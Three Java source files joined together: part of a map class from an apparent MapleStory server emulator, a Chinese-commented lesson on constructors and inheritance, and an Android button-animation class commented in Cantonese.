return getCharacterById(id);
}
public final MapleCharacter getCharacterById(final int id) {
charactersLock.readLock().lock();
try {
for (MapleCharacter mc : characters) {
if (mc.getId() == id) {
return mc;
}
}
} finally {
charactersLock.readLock().unlock();
}
return null;
}
public final void updateMapObjectVisibility(final MapleCharacter chr, final MapleMapObject mo) {
if (chr == null || chr.isClone()) {
return;
}
if (!chr.isMapObjectVisible(mo)) { // monster entered view range
if (mo.getType() == MapleMapObjectType.MIST || mo.getType() == MapleMapObjectType.EXTRACTOR || mo.getType() == MapleMapObjectType.SUMMON || mo.getType() == MapleMapObjectType.FAMILIAR || mo instanceof MechDoor || mo.getTruePosition().distanceSq(chr.getTruePosition()) <= mo.getRange()) {
chr.addVisibleMapObject(mo);
mo.sendSpawnData(chr.getClient());
}
} else { // monster left view range
if (!(mo instanceof MechDoor) && mo.getType() != MapleMapObjectType.MIST && mo.getType() != MapleMapObjectType.EXTRACTOR && mo.getType() != MapleMapObjectType.SUMMON && mo.getType() != MapleMapObjectType.FAMILIAR && mo.getTruePosition().distanceSq(chr.getTruePosition()) > mo.getRange()) {
chr.removeVisibleMapObject(mo);
mo.sendDestroyData(chr.getClient());
} else if (mo.getType() == MapleMapObjectType.MONSTER) { //monster didn't leave view range, and is visible
if (chr.getTruePosition().distanceSq(mo.getTruePosition()) <= GameConstants.maxViewRangeSq_Half()) {
updateMonsterController((MapleMonster) mo);
}
}
}
}
public void moveMonster(MapleMonster monster, Point reportedPos) {
monster.setPosition(reportedPos);
charactersLock.readLock().lock();
try {
for (MapleCharacter mc : characters) {
updateMapObjectVisibility(mc, monster);
}
} finally {
charactersLock.readLock().unlock();
}
}
public void movePlayer(final MapleCharacter player, final Point newPosition) {
player.setPosition(newPosition);
if (!player.isClone()) {
try {
Collection<MapleMapObject> visibleObjects = player.getAndWriteLockVisibleMapObjects();
ArrayList<MapleMapObject> copy = new ArrayList<>(visibleObjects);
Iterator<MapleMapObject> itr = copy.iterator();
while (itr.hasNext()) {
MapleMapObject mo = itr.next();
if (mo != null && getMapObject(mo.getObjectId(), mo.getType()) == mo) {
updateMapObjectVisibility(player, mo);
} else if (mo != null) {
visibleObjects.remove(mo);
}
}
for (MapleMapObject mo : getMapObjectsInRange(player.getTruePosition(), player.getRange())) {
if (mo != null && !visibleObjects.contains(mo)) {
mo.sendSpawnData(player.getClient());
visibleObjects.add(mo);
}
}
} finally {
player.unlockWriteVisibleMapObjects();
}
}
}
public MaplePortal findClosestSpawnpoint(Point from) {
MaplePortal closest = getPortal(0);
double distance, shortestDistance = Double.POSITIVE_INFINITY;
for (MaplePortal portal : portals.values()) {
distance = portal.getPosition().distanceSq(from);
if (portal.getType() >= 0 && portal.getType() <= 2 && distance < shortestDistance && portal.getTargetMapId() == 999999999) {
closest = portal;
shortestDistance = distance;
}
}
return closest;
}
public MaplePortal findClosestPortal(Point from) {
MaplePortal closest = getPortal(0);
double distance, shortestDistance = Double.POSITIVE_INFINITY;
for (MaplePortal portal : portals.values()) {
distance = portal.getPosition().distanceSq(from);
if (distance < shortestDistance) {
closest = portal;
shortestDistance = distance;
}
}
return closest;
}
public String spawnDebug() {
StringBuilder sb = new StringBuilder("Mobs in map : ");
sb.append(this.getMobsSize());
sb.append(" spawnedMonstersOnMap: ");
sb.append(spawnedMonstersOnMap);
sb.append(" spawnpoints: ");
sb.append(monsterSpawn.size());
sb.append(" maxRegularSpawn: ");
sb.append(maxRegularSpawn);
sb.append(" actual monsters: ");
sb.append(getNumMonsters());
sb.append(" monster rate: ");
sb.append(monsterRate);
sb.append(" fixed: ");
sb.append(fixedMob);
return sb.toString();
}
public int characterSize() {
return characters.size();
}
public final int getMapObjectSize() {
return mapobjects.size() + getCharactersSize() - characters.size();
}
public final int getCharactersSize() {
int ret = 0;
charactersLock.readLock().lock();
try {
final Iterator<MapleCharacter> ltr = characters.iterator();
MapleCharacter chr;
while (ltr.hasNext()) {
chr = ltr.next();
if (!chr.isClone()) {
ret++;
}
}
} finally {
charactersLock.readLock().unlock();
}
return ret;
}
public Collection<MaplePortal> getPortals() {
return Collections.unmodifiableCollection(portals.values());
}
public int getSpawnedMonstersOnMap() {
return spawnedMonstersOnMap.get();
}
public void spawnMonsterOnGroudBelow(MapleMonster mob, Point pos) {
spawnMonsterOnGroundBelow(mob, pos);
}
private class ActivateItemReactor implements Runnable {
private final MapleMapItem mapitem;
private final MapleReactor reactor;
private final MapleClient c;
public ActivateItemReactor(MapleMapItem mapitem, MapleReactor reactor, MapleClient c) {
this.mapitem = mapitem;
this.reactor = reactor;
this.c = c;
}
@Override
public void run() {
if (mapitem != null && mapitem == getMapObject(mapitem.getObjectId(), mapitem.getType()) && !mapitem.isPickedUp()) {
mapitem.expire(MapleMap.this);
reactor.hitReactor(c);
reactor.setTimerActive(false);
if (reactor.getDelay() > 0) {
MapTimer.getInstance().schedule(new Runnable() {
@Override
public void run() {
reactor.forceHitReactor(c.getPlayer(), (byte) 0);
}
}, reactor.getDelay());
}
} else {
reactor.setTimerActive(false);
}
}
}
public void respawn(final boolean force) {
respawn(force, System.currentTimeMillis());
}
public void respawn(final boolean force, final long now) {
lastSpawnTime = now;
if (force) { //cpq quick hack
final int numShouldSpawn = monsterSpawn.size() * ZZMSConfig.monsterSpawn - spawnedMonstersOnMap.get();
if (numShouldSpawn > 0) {
int spawned = 0;
for (Spawns spawnPoint : monsterSpawn) {
spawnPoint.spawnMonster(this);
spawned++;
if (spawned >= numShouldSpawn) {
break;
}
}
}
} else {
final int numShouldSpawn = (GameConstants.isForceRespawn(mapid) ? monsterSpawn.size() * ZZMSConfig.monsterSpawn : maxRegularSpawn * ZZMSConfig.monsterSpawn) - spawnedMonstersOnMap.get();
if (numShouldSpawn > 0) {
int spawned = 0;
final List<Spawns> randomSpawn = new ArrayList<>(monsterSpawn);
Collections.shuffle(randomSpawn);
for (Spawns spawnPoint : randomSpawn) {
if (!isSpawns && spawnPoint.getMobTime() > 0) {
continue;
}
if (spawnPoint.shouldSpawn(lastSpawnTime) || GameConstants.isForceRespawn(mapid) || (monsterSpawn.size() * ZZMSConfig.monsterSpawn < 10 && maxRegularSpawn * ZZMSConfig.monsterSpawn > monsterSpawn.size() * ZZMSConfig.monsterSpawn && partyBonusRate > 0)) {
spawnPoint.spawnMonster(this);
spawned++;
}
if (spawned >= numShouldSpawn) {
break;
}
}
}
}
}
private static interface DelayedPacketCreation {
void sendPackets(MapleClient c);
}
public String getSnowballPortal() {
int[] teamss = new int[2];
charactersLock.readLock().lock();
try {
for (MapleCharacter chr : characters) {
if (chr.getTruePosition().y > -80) {
teamss[0]++;
} else {
teamss[1]++;
}
}
} finally {
charactersLock.readLock().unlock();
}
if (teamss[0] > teamss[1]) {
return "st01";
} else {
return "st00";
}
}
public boolean isDisconnected(int id) {
return dced.contains(id);
}
public void addDisconnected(int id) {
dced.add(id);
}
public void resetDisconnected() {
dced.clear();
}
public void startSpeedRun() {
final MapleSquad squad = getSquadByMap();
if (squad != null) {
charactersLock.readLock().lock();
try {
for (MapleCharacter chr : characters) {
if (chr.getName().equals(squad.getLeaderName()) && !chr.isIntern()) {
startSpeedRun(chr.getName());
return;
}
}
} finally {
charactersLock.readLock().unlock();
}
}
}
public void startSpeedRun(String leader) {
speedRunStart = System.currentTimeMillis();
speedRunLeader = leader;
}
public void endSpeedRun() {
speedRunStart = 0;
speedRunLeader = "";
}
public void getRankAndAdd(String leader, String time, ExpeditionType type, long timz, Collection<String> squad) {
try {
long lastTime = SpeedRunner.getSpeedRunData(type) == null ? 0 : SpeedRunner.getSpeedRunData(type).right;
//if(timz > lastTime && lastTime > 0) {
//return;
//}
//Pair<String, Map<Integer, String>>
StringBuilder rett = new StringBuilder();
if (squad != null) {
for (String chr : squad) {
rett.append(chr);
rett.append(",");
}
}
String z = rett.toString();
if (squad != null) {
z = z.substring(0, z.length() - 1);
}
Connection con = DatabaseConnection.getConnection();
try (PreparedStatement ps = con.prepareStatement("INSERT INTO speedruns(`type`, `leader`, `timestring`, `time`, `members`) VALUES (?,?,?,?,?)")) {
ps.setString(1, type.name());
ps.setString(2, leader);
ps.setString(3, time);
ps.setLong(4, timz);
ps.setString(5, z);
ps.executeUpdate();
}
if (lastTime == 0) { //great, we just add it
SpeedRunner.addSpeedRunData(type, SpeedRunner.addSpeedRunData(new StringBuilder(SpeedRunner.getPreamble(type)), new HashMap<Integer, String>(), z, leader, 1, time), timz);
} else {
//i wish we had a way to get the rank
SpeedRunner.removeSpeedRunData(type);
SpeedRunner.loadSpeedRunData(type);
}
} catch (SQLException e) {
}
}
public long getSpeedRunStart() {
return speedRunStart;
}
public final void disconnectAll() {
for (MapleCharacter chr : getCharactersThreadsafe()) {
if (!chr.isGM()) {
chr.getClient().disconnect(true, false);
chr.getClient().getSession().close(true);
}
}
}
public List<MapleNPC> getAllNPCs() {
return getAllNPCsThreadsafe();
}
public List<MapleNPC> getAllNPCsThreadsafe() {
ArrayList<MapleNPC> ret = new ArrayList<>();
mapobjectlocks.get(MapleMapObjectType.NPC).readLock().lock();
try {
for (MapleMapObject mmo : mapobjects.get(MapleMapObjectType.NPC).values()) {
ret.add((MapleNPC) mmo);
}
} finally {
mapobjectlocks.get(MapleMapObjectType.NPC).readLock().unlock();
}
return ret;
}
public final void resetNPCs() {
removeNpc(-1);
}
public final void resetPQ(int level) {
resetFully();
for (MapleMonster mons : getAllMonstersThreadsafe()) {
mons.changeLevel(level, true);
}
resetSpawnLevel(level);
}
public final void resetSpawnLevel(int level) {
for (Spawns spawn : monsterSpawn) {
if (spawn instanceof SpawnPoint) {
((SpawnPoint) spawn).setLevel(level);
}
}
}
public final void resetFully() {
resetFully(true);
}
public final void resetFully(final boolean respawn) {
killAllMonsters(false);
reloadReactors();
removeDrops();
resetNPCs();
resetSpawns();
resetDisconnected();
endSpeedRun();
cancelSquadSchedule(true);
resetPortals();
environment.clear();
if (respawn) {
respawn(true);
}
}
public final void cancelSquadSchedule(boolean interrupt) {
squadTimer = false;
checkStates = true;
if (squadSchedule != null) {
squadSchedule.cancel(interrupt);
squadSchedule = null;
}
}
public final void removeDrops() {
List<MapleMapItem> items = this.getAllItemsThreadsafe();
for (MapleMapItem i : items) {
i.expire(this);
}
}
public final void resetAllSpawnPoint(int mobid, int mobTime) {
Collection<Spawns> sss = new LinkedList<>(monsterSpawn);
resetFully();
monsterSpawn.clear();
for (Spawns s : sss) {
MapleMonster newMons = MapleLifeFactory.getMonster(mobid);
newMons.setF(s.getF());
newMons.setFh(s.getFh());
newMons.setPosition(s.getPosition());
addMonsterSpawn(newMons, mobTime, (byte) -1, null);
}
loadMonsterRate(true);
}
public final void resetSpawns() {
boolean changed = false;
Iterator<Spawns> sss = monsterSpawn.iterator();
while (sss.hasNext()) {
if (sss.next().getCarnivalId() > -1) {
sss.remove();
changed = true;
}
}
setSpawns(true);
if (changed) {
loadMonsterRate(true);
}
}
public final boolean makeCarnivalSpawn(final int team, final MapleMonster newMons, final int num) {
MonsterPoint ret = null;
for (MonsterPoint mp : nodes.getMonsterPoints()) {
if (mp.team == team || mp.team == -1) {
final Point newpos = calcPointBelow(new Point(mp.x, mp.y));
newpos.y -= 1;
boolean found = false;
for (Spawns s : monsterSpawn) {
if (s.getCarnivalId() > -1 && (mp.team == -1 || s.getCarnivalTeam() == mp.team) && s.getPosition().x == newpos.x && s.getPosition().y == newpos.y) {
found = true;
break; //this point has already been used.
}
}
if (!found) {
ret = mp; //this point is safe for use.
break;
}
}
}
if (ret != null) {
newMons.setCy(ret.cy);
newMons.setF(0); //always.
newMons.setFh(ret.fh);
newMons.setRx0(ret.x + 50);
newMons.setRx1(ret.x - 50); //does this matter
newMons.setPosition(new Point(ret.x, ret.y));
newMons.setHide(false);
final SpawnPoint sp = addMonsterSpawn(newMons, 1, (byte) team, null);
sp.setCarnival(num);
}
return ret != null;
}
public final boolean makeCarnivalReactor(final int team, final int num) {
final MapleReactor old = getReactorByName(team + "" + num);
if (old != null && old.getState() < 5) { //already exists
return false;
}
Point guardz = null;
final List<MapleReactor> react = getAllReactorsThreadsafe();
for (Pair<Point, Integer> guard : nodes.getGuardians()) {
if (guard.right == team || guard.right == -1) {
boolean found = false;
for (MapleReactor r : react) {
if (r.getTruePosition().x == guard.left.x && r.getTruePosition().y == guard.left.y && r.getState() < 5) {
found = true;
break; //already used
}
}
if (!found) {
guardz = guard.left; //this point is safe for use.
break;
}
}
}
if (guardz != null) {
final MapleReactor my = new MapleReactor(MapleReactorFactory.getReactor(9980000 + team), 9980000 + team);
my.setState((byte) 1);
my.setName(team + "" + num); //lol
//with num. -> guardians in factory
spawnReactorOnGroundBelow(my, guardz);
final MCSkill skil = MapleCarnivalFactory.getInstance().getGuardian(num);
for (MapleMonster mons : getAllMonstersThreadsafe()) {
if (mons.getCarnivalTeam() == team) {
skil.getSkill().applyEffect(null, mons, false);
}
}
}
return guardz != null;
}
public final void blockAllPortal() {
for (MaplePortal p : portals.values()) {
p.setPortalState(false);
}
}
public boolean getAndSwitchTeam() {
return getCharactersSize() % 2 != 0;
}
public void setSquad(MapleSquadType s) {
this.squad = s;
}
public int getChannel() {
return channel;
}
public int getConsumeItemCoolTime() {
return consumeItemCoolTime;
}
public void setConsumeItemCoolTime(int ciit) {
this.consumeItemCoolTime = ciit;
}
public void setPermanentWeather(int pw) {
this.permanentWeather = pw;
}
public int getPermanentWeather() {
return permanentWeather;
}
public void checkStates(final String chr) {
if (!checkStates) {
return;
}
final MapleSquad sqd = getSquadByMap();
final EventManager em = getEMByMap();
final int size = getCharactersSize();
if (sqd != null && sqd.getStatus() == 2) {
sqd.removeMember(chr);
if (em != null) {
if (sqd.getLeaderName().equalsIgnoreCase(chr)) {
em.setProperty("leader", "false");
}
if (chr.equals("") || size == 0) {
em.setProperty("state", "0");
em.setProperty("leader", "true");
cancelSquadSchedule(!chr.equals(""));
sqd.clear();
sqd.copy();
}
}
}
if (em != null && em.getProperty("state") != null && (sqd == null || sqd.getStatus() == 2) && size == 0) {
em.setProperty("state", "0");
if (em.getProperty("leader") != null) {
em.setProperty("leader", "true");
}
}
if (speedRunStart > 0 && size == 0) {
endSpeedRun();
}
}
public void setCheckStates(boolean b) {
this.checkStates = b;
}
public void setNodes(final MapleNodes mn) {
this.nodes = mn;
}
public final List<MaplePlatform> getPlatforms() {
return nodes.getPlatforms();
}
public Collection<MapleNodeInfo> getNodes() {
return nodes.getNodes();
}
public MapleNodeInfo getNode(final int index) {
return nodes.getNode(index);
}
public boolean isLastNode(final int index) {
return nodes.isLastNode(index);
}
public final List<Rectangle> getAreas() {
return nodes.getAreas();
}
public final Rectangle getArea(final int index) {
return nodes.getArea(index);
}
public final void changeEnvironment(final String ms, final int type) {
broadcastMessage(CField.environmentChange(ms, type));
}
public final void toggleEnvironment(final String ms) {
if (environment.containsKey(ms)) {
moveEnvironment(ms, environment.get(ms) == 1 ? 2 : 1);
} else {
moveEnvironment(ms, 1);
}
}
public final void moveEnvironment(final String ms, final int type) {
broadcastMessage(CField.environmentMove(ms, type));
environment.put(ms, type);
}
public final Map<String, Integer> getEnvironment() {
return environment;
}
public final int getNumPlayersInArea(final int index) {
return getNumPlayersInRect(getArea(index));
}
public final int getNumPlayersInRect(final Rectangle rect) {
int ret = 0;
charactersLock.readLock().lock();
try {
final Iterator<MapleCharacter> ltr = characters.iterator();
MapleCharacter a;
while (ltr.hasNext()) {
if (rect.contains(ltr.next().getTruePosition())) {
ret++;
}
}
} finally {
charactersLock.readLock().unlock();
}
return ret;
}
public final int getNumPlayersItemsInArea(final int index) {
return getNumPlayersItemsInRect(getArea(index));
}
public final int getNumPlayersItemsInRect(final Rectangle rect) {
int ret = getNumPlayersInRect(rect);
mapobjectlocks.get(MapleMapObjectType.ITEM).readLock().lock();
try {
for (MapleMapObject mmo : mapobjects.get(MapleMapObjectType.ITEM).values()) {
if (rect.contains(mmo.getTruePosition())) {
ret++;
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.ITEM).readLock().unlock();
}
return ret;
}
public void broadcastGMMessage(MapleCharacter source, byte[] packet, boolean repeatToSource) {
broadcastGMMessage(repeatToSource ? null : source, packet);
}
private void broadcastGMMessage(MapleCharacter source, byte[] packet) {
charactersLock.readLock().lock();
try {
if (source == null) {
for (MapleCharacter chr : characters) {
if (chr.isStaff()) {
chr.getClient().getSession().write(packet);
}
}
} else {
for (MapleCharacter chr : characters) {
if (chr != source && (chr.getGMLevel() > 0)) {
chr.getClient().getSession().write(packet);
}
}
}
} finally {
charactersLock.readLock().unlock();
}
}
public void broadcastNONGMMessage(MapleCharacter source, byte[] packet, boolean repeatToSource) {
broadcastNONGMMessage(repeatToSource ? null : source, packet);
}
private void broadcastNONGMMessage(MapleCharacter source, byte[] packet) {
charactersLock.readLock().lock();
try {
if (source == null) {
for (MapleCharacter chr : characters) {
if (!chr.isStaff()) {
chr.getClient().getSession().write(packet);
}
}
} else {
for (MapleCharacter chr : characters) {
if (chr != source && (chr.getGMLevel() < 1)) {
chr.getClient().getSession().write(packet);
}
}
}
} finally {
charactersLock.readLock().unlock();
}
}
public final List<Pair<Integer, Integer>> getMobsToSpawn() {
return nodes.getMobsToSpawn();
}
public final List<Integer> getSkillIds() {
return nodes.getSkillIds();
}
public final boolean canSpawn(long now) {
return lastSpawnTime > 0 && lastSpawnTime + createMobInterval < now;
}
public final boolean canHurt(long now) {
if (lastHurtTime > 0 && lastHurtTime + decHPInterval < now) {
lastHurtTime = now;
return true;
}
return false;
}
public final void resetShammos(final MapleClient c) {
killAllMonsters(true);
broadcastMessage(CWvsContext.broadcastMsg(5, "A player has moved too far from Shammos. Shammos is going back to the start."));
EtcTimer.getInstance().schedule(new Runnable() {
@Override
public void run() {
if (c.getPlayer() != null) {
c.getPlayer().changeMap(MapleMap.this, getPortal(0));
}
}
}, 500); //avoid dl
}
public int getInstanceId() {
return instanceid;
}
public void setInstanceId(int ii) {
this.instanceid = ii;
}
public int getPartyBonusRate() {
return partyBonusRate;
}
public void setPartyBonusRate(int ii) {
this.partyBonusRate = ii;
}
public short getTop() {
return top;
}
public short getBottom() {
return bottom;
}
public short getLeft() {
return left;
}
public short getRight() {
return right;
}
public void setTop(int ii) {
this.top = (short) ii;
}
public void setBottom(int ii) {
this.bottom = (short) ii;
}
public void setLeft(int ii) {
this.left = (short) ii;
}
public void setRight(int ii) {
this.right = (short) ii;
}
public final void setChangeableMobOrigin(MapleCharacter d) {
this.changeMobOrigin = new WeakReference<>(d);
}
public final MapleCharacter getChangeableMobOrigin() {
if (changeMobOrigin == null) {
return null;
}
return changeMobOrigin.get();
}
public List<Pair<Point, Integer>> getGuardians() {
return nodes.getGuardians();
}
public DirectionInfo getDirectionInfo(int i) {
return nodes.getDirection(i);
}
public final MapleMapObject getClosestMapObjectInRange(final Point from, final double rangeSq, final List<MapleMapObjectType> MapObject_types) {
MapleMapObject ret = null;
for (MapleMapObjectType type : MapObject_types) {
mapobjectlocks.get(type).readLock().lock();
try {
Iterator<MapleMapObject> itr = mapobjects.get(type).values().iterator();
while (itr.hasNext()) {
MapleMapObject mmo = itr.next();
if (from.distanceSq(mmo.getTruePosition()) <= rangeSq && (ret == null || from.distanceSq(ret.getTruePosition()) > from.distanceSq(mmo.getTruePosition()))) {
ret = mmo;
}
}
} finally {
mapobjectlocks.get(type).readLock().unlock();
}
}
return ret;
}
public final void mapMessage(final int type, final String message) {
broadcastMessage(CWvsContext.broadcastMsg(type, message));
}
@Override
public String toString() {
return "'" + getStreetName() + " : " + getMapName() + "'(" + getId() + ")";
}
public boolean isBossMap() {
return GameConstants.isBossMap(mapid);
}
public boolean isMarketMap() {
return (this.mapid >= 910000000) && (this.mapid <= 910000017);
}
}
| HyperSine/ZZMS | src/server/maps/MapleMap.java |
65,423 | package app;
import myja.*;
public class Hard02 { //如果沒有建構式定義,那就是繼承object
public static void main(String[] args) {
//你今天這個=號在做的事情,就是做初始化有兩階段動作如下(1),(2)
//(1)配置一個記憶體空間 =>new
//(2)配置完後進行初始化的行為bike() ,就去看你建構是做什麼事情去執行
//沒有建構式的情況,她其實有預設建構式,只是目前看不到
//點選api發現所有的爸爸都是java.lang.Object
//所以你只要沒有建構式,你就繼承了object這爸爸的方法
//任何的bike b1 = new bike();都有建構式不會沒有,如果沒有就會找你爸爸裡面的建構式,給你沒有傳參數地當建構式
//object爸爸也有寫建構式,只是也是空空的所以你沒有感覺
//你只要寫上你的建構式,那爸爸尊重你不會沒有,以你為主.
//建構式不是繼承,是因為你沒有,我才拿你爸爸的拿來用
// bike b1 = new bike(); //本來宣告有一台腳踏車不會顯示,但因為我有建構式印出東西所以才剛呼叫腳踏車就出現
// b1.toString(); 這就是object的方法
bike b1 = new bike(1); //因為你的建構式原本是Object沒有參數,但因為我建構是加了(int a)所以你要尊重我,也要加int參數
Scooter s1 = new Scooter();
// s1.notifyAll(); 發現不但繼承腳踏車的方法,還有阿公的方法,因為有阿公有爸爸才有你,他一定偷偷做了什麼事,你才叫得出阿公的方法
}
}
| gorillaz18010589/tomcat_p_java_v1 | src/app/Hard02.java |
65,425 | package com.lvrenyang.pathbutton;
import android.view.View;
import android.view.ViewGroup;
import android.view.animation.Animation;
import android.view.animation.Animation.AnimationListener;
import android.view.animation.AnticipateInterpolator;
import android.view.animation.OvershootInterpolator;
import android.view.animation.RotateAnimation;
import android.view.animation.TranslateAnimation;
import android.widget.LinearLayout;
import android.widget.RelativeLayout;
public class myAnimations {
public final int R ; // 半徑
public static byte
RIGHTBOTTOM=1,
CENTERBOTTOM=2,
LEFTBOTTOM=3,
LEFTCENTER=4,
LEFTTOP=5,
CENTERTOP=6,
RIGHTTOP=7,
RIGHTCENTER=8;
private int pc; //位置代號
private ViewGroup clayout; //父laoyout
private final int amount; //有幾多個按鈕
private double fullangle=180.0;//在幾大嘅角度內排佈
private byte xOri=1,yOri=1; //x、y值嘅方向,即系向上還是向下
/**
* 構造函數
* @param comlayout 包裹彈出按鈕嘅layout
* @param poscode 位置代號,分別對應RIGHTBOTTOM、CENTERBOTTOM、LEFTBOTTOM、LEFTCENTER、LEFTTOP、CENTERTOP、RIGHTTOP、RIGHTCENTER
* @param radius 半徑
*/
public myAnimations(ViewGroup comlayout,int poscode,int radius){
this.pc=poscode;
this.clayout=comlayout;
this.amount=clayout.getChildCount();
this.R=radius;
if(poscode==RIGHTBOTTOM){ //右下角
fullangle=90;
xOri=-1;yOri=-1;
}else if(poscode==CENTERBOTTOM){//中下
fullangle=180;
xOri=-1;yOri=-1;
}else if(poscode==LEFTBOTTOM){ //左下角
fullangle=90;
xOri=1;yOri=-1;
}else if(poscode==LEFTCENTER){ //左中
fullangle=180;
xOri=1;yOri=-1;
}else if(poscode==LEFTTOP){ //左上角
fullangle=90;
xOri=1;yOri=1;
}else if(poscode==CENTERTOP){ //中上
fullangle=180;
xOri=-1;yOri=1;
}else if(poscode==RIGHTTOP){ //右上角
fullangle=90;
xOri=-1;yOri=1;
}else if(poscode==RIGHTCENTER){ //右中
fullangle=180;
xOri=-1;yOri=-1;
}
}
/**
* 彈幾個按鈕出嚟
* @param durationMillis 用幾多時間
*/
public void startAnimationsIn(int durationMillis) {
/*
List<TouchObject> preTouch = preTouch(clayout);
composerLayout layout = (composerLayout) clayout;
if (!layout.isInit())
layout.initTouches(preTouch);
layout.setShow(true);
*/
for (int i = 0; i < clayout.getChildCount(); i++) {
final LinearLayout inoutimagebutton = (LinearLayout) clayout.getChildAt(i);
double offangle=fullangle/(amount-1);
//double marginTop = Math.sin(offangle * i * Math.PI / 180) * R;
//double marginRight = Math.cos(offangle * i * Math.PI / 180) * R;
final double deltaY,deltaX;
if(pc==LEFTCENTER || pc==RIGHTCENTER){
deltaX = Math.sin(offangle * i * Math.PI / 180) * R;
deltaY = Math.cos(offangle * i * Math.PI / 180) * R;
}else{
deltaY = Math.sin(offangle * i * Math.PI / 180) * R;
deltaX = Math.cos(offangle * i * Math.PI / 180) * R;
}
inoutimagebutton.setVisibility(View.VISIBLE);
Animation animation = new TranslateAnimation(0, (float)(xOri* deltaX), 0, (float)(yOri* deltaY));
/*
* 如果呢句為true,因為佢實際after嘅位置係從物理位置計起,最後因為物理位置變化咗而長咗一倍;
* (可以將animation嘅位置視為影子位置。開始先喐咗影子位置去x,物理位置仍喺0。呢個時候animation結束,就將物理位置移到x。由於set咗fillafter,所以影子對於物理位置又移多x,所以影子位置會變咗2x。所以呢度一定唔可以true嘅)
* 但如果係false嘅話,估計因為animationEnd同after有少少時間差,而出現最後閃一閃,影子稍微喺2x嘅位置出現一瞬間又去返x。其實影響都唔算大,你部機可能睇唔倒添。但好似有少少掃灰塵入地毯底嘅感覺,問題並冇解決。
* (只有彈出嘅時候有呢個問題,因為收埋嘅時候直接設咗visible做gone)
animation.setFillAfter(true);
*/
animation.setFillEnabled(true);//加咗呢句嘢,最後就唔會閃一閃。(先用animation移影子位置、再用layoutParams喐物理位置~呢種方法就有呢個同唔同步嘅問題,除非你settimeout咁去改物理位置。例如一共要移x距離,用1秒去完成,每隔0.1秒就將佢物理位置改變x/10。)
animation.setDuration(durationMillis);
animation.setStartOffset((i * 100) / (-1 + clayout.getChildCount()));
animation.setInterpolator(new OvershootInterpolator(2F));
//喐
inoutimagebutton.startAnimation(animation);
//喐完就改埋嗰啲button嘅實際位置(animation只系外表去咗第度,實際位置依然喺返舊時嗰度)
//因為animation係異步嘅,如果直接start完animate就set按鈕嘅位置,就有可能佢未喐完就飛咗過去
animation.setAnimationListener(new AnimationListener() {
@Override
public void onAnimationStart(Animation animation) {
// TODO Auto-generated method stub
}
@Override
public void onAnimationRepeat(Animation animation) {
// TODO Auto-generated method stub
}
@Override
public void onAnimationEnd(Animation animation) {
// TODO Auto-generated method stub
int l=inoutimagebutton.getLeft();
int t=inoutimagebutton.getTop();
RelativeLayout.LayoutParams lps = new RelativeLayout.LayoutParams(
LinearLayout.LayoutParams.WRAP_CONTENT,
LinearLayout.LayoutParams.WRAP_CONTENT
);
lps.leftMargin=(int)(l+xOri* deltaX);
lps.topMargin =(int)(t+yOri* deltaY);
//System.out.println("oldleft: "+l+" leftmargin: "+lps.leftMargin);
//System.out.println("oldtop: "+t+" topmargin: "+lps.topMargin);
inoutimagebutton.setLayoutParams(lps);
}
});
}
}
/**
* 收埋幾個按鈕入去
* @param durationMillis 用幾多時間
*/
public void startAnimationsOut( int durationMillis) {
for (int i = 0; i < clayout.getChildCount(); i++) {
final LinearLayout inoutimagebutton = (LinearLayout) clayout.getChildAt(i);
double offangle=fullangle/(amount-1);
final double deltaY,deltaX;
if(pc==LEFTCENTER || pc==RIGHTCENTER){
deltaX = Math.sin(offangle * i * Math.PI / 180) * R;
deltaY = Math.cos(offangle * i * Math.PI / 180) * R;
}else{
deltaY = Math.sin(offangle * i * Math.PI / 180) * R;
deltaX = Math.cos(offangle * i * Math.PI / 180) * R;
}
Animation animation = new TranslateAnimation(0,-(float)(xOri*deltaX), 0, -(float)(yOri*deltaY));
//animation.setFillAfter(true);
animation.setDuration(durationMillis);
animation.setStartOffset(((clayout.getChildCount() - i) * 100) / (-1 + clayout.getChildCount()));// 顺序倒一下比较舒服
animation.setInterpolator(new AnticipateInterpolator(2F));
//喐
inoutimagebutton.startAnimation(animation);
animation.setAnimationListener(new AnimationListener() {
@Override
public void onAnimationStart(Animation animation) {
// TODO Auto-generated method stub
}
@Override
public void onAnimationRepeat(Animation animation) {
// TODO Auto-generated method stub
}
@Override
public void onAnimationEnd(Animation animation) {
// TODO Auto-generated method stub
int l=inoutimagebutton.getLeft();
int t=inoutimagebutton.getTop();
RelativeLayout.LayoutParams lps = new RelativeLayout.LayoutParams(
LinearLayout.LayoutParams.WRAP_CONTENT,
LinearLayout.LayoutParams.WRAP_CONTENT
);
lps.leftMargin=(int)(l- xOri* deltaX);
lps.topMargin =(int)(t- yOri* deltaY);
//System.out.println("leftmargin: "+lps.leftMargin);
//System.out.println("topmargin: "+lps.topMargin);
inoutimagebutton.setLayoutParams(lps);
inoutimagebutton.setVisibility(View.GONE);
}
});
}
}
/**
* 獲取位置代碼(其實貌似都冇乜用)
*/
public int getPosCode(){
return this.pc;
}
/*
*舊有內容,因為佢原來冇真正喐控件嘅物理位置,就要模擬返出點擊父layout時嘅位置,咁嘅話做onclicklistener會比較麻煩
private List<TouchObject> preTouch(ViewGroup viewgroup) {
List<TouchObject> objects = new ArrayList<TouchObject>();
for (int i = 0; i < viewgroup.getChildCount(); i++) {
final LinearLayout inoutimagebutton = (LinearLayout) viewgroup.getChildAt(i);
double marginTop = Math.sin(36.0 * i * Math.PI / 180) * R;
double marginRight = Math.cos(36.0 * i * Math.PI / 180) * R;
Point point = new Point((int) marginRight, (int) marginTop);
Rect animationRect = myAnimations.getAnimationRect(inoutimagebutton, point);
TouchObject obj = new TouchObject();
obj.setTouchId(inoutimagebutton.getId());
obj.setTouchArea(animationRect);
objects.add(obj);
}
return objects;
}
public static Rect getAnimationRect(LinearLayout btn, Point point) {
Rect r = new Rect();
r.left = btn.getLeft() - point.x;
r.top = btn.getTop() - point.y;
r.right = btn.getRight() - point.x;
r.bottom = btn.getBottom() - point.y;
return r;
}
*/
/**
* 自轉函數(原本就有嘅靜態函數,未實體化都可以調用)
* @param fromDegrees 從幾多度
* @param toDegrees 到幾多度
* @param durationMillis 轉幾耐
*/
public static Animation getRotateAnimation(float fromDegrees, float toDegrees, int durationMillis) {
RotateAnimation rotate = new RotateAnimation(fromDegrees, toDegrees, Animation.RELATIVE_TO_SELF, 0.5f, Animation.RELATIVE_TO_SELF, 0.5f);
rotate.setDuration(durationMillis);
rotate.setFillAfter(true);
return rotate;
}
